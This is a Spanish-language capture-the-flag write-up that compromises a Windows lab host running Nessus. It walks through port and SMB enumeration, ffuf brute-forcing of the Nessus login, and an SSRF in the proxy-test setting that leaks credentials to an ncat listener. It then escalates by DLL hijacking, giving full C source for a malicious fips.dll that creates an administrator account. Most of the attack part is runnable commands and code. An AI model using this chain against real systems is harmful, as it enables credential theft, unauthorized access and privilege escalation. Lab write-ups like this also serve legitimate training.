Enumeramos puertos (Windows con Nessus en 8834):
❯ nmap -sCV -p 135,139,445,5985,8834,47001,... -oN 02-targeted.txt 10.32.32.49
...
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8834/tcp open ssl/nessus-xmlrpc?
| ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/...
...Listamos los recursos compartidos por SMB con el usuario guest y vemos un share Documents:
❯ smbclient -L //10.32.32.49/ -U guest
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPCAccedemos al share y descargamos dos PDFs (informes de Nessus); en los metadatos de uno aparece el autor Jose:
❯ smbclient //10.32.32.49/Documents -U guest
smb: \> get "My Basic Network Scan_hwhm7q.pdf"
smb: \> get "Web Application Tests_f6jg9t.pdf"
❯ exiftool Web\ Application\ Tests_f6jg9t.pdf
...
Author : Jose
...Hacemos un login de prueba interceptando con Burp para identificar el endpoint de autenticación (POST /session con {"username":...,"password":...}) y le aplicamos fuerza bruta con ffuf:
❯ ffuf -u 'https://10.32.32.49:8834/session' -w ~/Documentos/wordlists/rockyou.txt -d '{"username":"jose","password":"FUZZ"}' -H 'Content-Type: application/json' -fs 31
...
tequiero [Status: 200, ...]
...Dentro de Nessus hay un usuario nesus con contraseña oculta. En la configuración de Proxy Server abusamos de un SSRF: ponemos nuestra IP como host y, al pulsar "Test Proxy Server", Nessus nos envía las credenciales en la cabecera Proxy-Authorization:
❯ ncat -nlvp 4321
Ncat: Connection from 10.32.32.49:49839.
CONNECT plugins.nessus.org:443 HTTP/1.1
Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==
...
❯ echo 'bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==' | base64 -d
nesus:Z#JuXH$ph-;v@,X&mV)Con esas credenciales entramos por evil-winrm y obtenemos la primera flag (si da error de autenticación, es porque la contraseña expiró y hay que restablecerla manualmente en la máquina):
❯ evil-winrm -u nesus -i 10.32.32.49 -p 'Z#JuXH$ph-;v@,X&mV)'
*Evil-WinRM* PS C:\Users\nesus\Documents>Para escalar, hacemos DLL hijacking del servicio de Nessus (que corre como SYSTEM). Compilamos una DLL maliciosa que crea un usuario administrador:
❯ cat pwned.c
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user pwned pwned /add");
system("net localgroup administrators pwned /add");
system("net localgroup 'remote management' pwned /add");
break;
...
}
return TRUE;
}La compilamos con el nombre de una DLL que carga Nessus (fips.dll), reemplazamos la original y reiniciamos:
❯ x86_64-w64-mingw32-gcc pwned.c --shared -o fips.dll
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv fips.dll fips.dll.bak
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> upload fips.dllTras el reinicio, el usuario pwned es administrador local:
❯ evil-winrm -u pwned -i 10.32.32.49 -p 'pwned'
*Evil-WinRM* PS C:\Users\pwned\Documents> whoami /all
...
BUILTIN\Administrators ...Obtenemos nuestra flag.
Fin.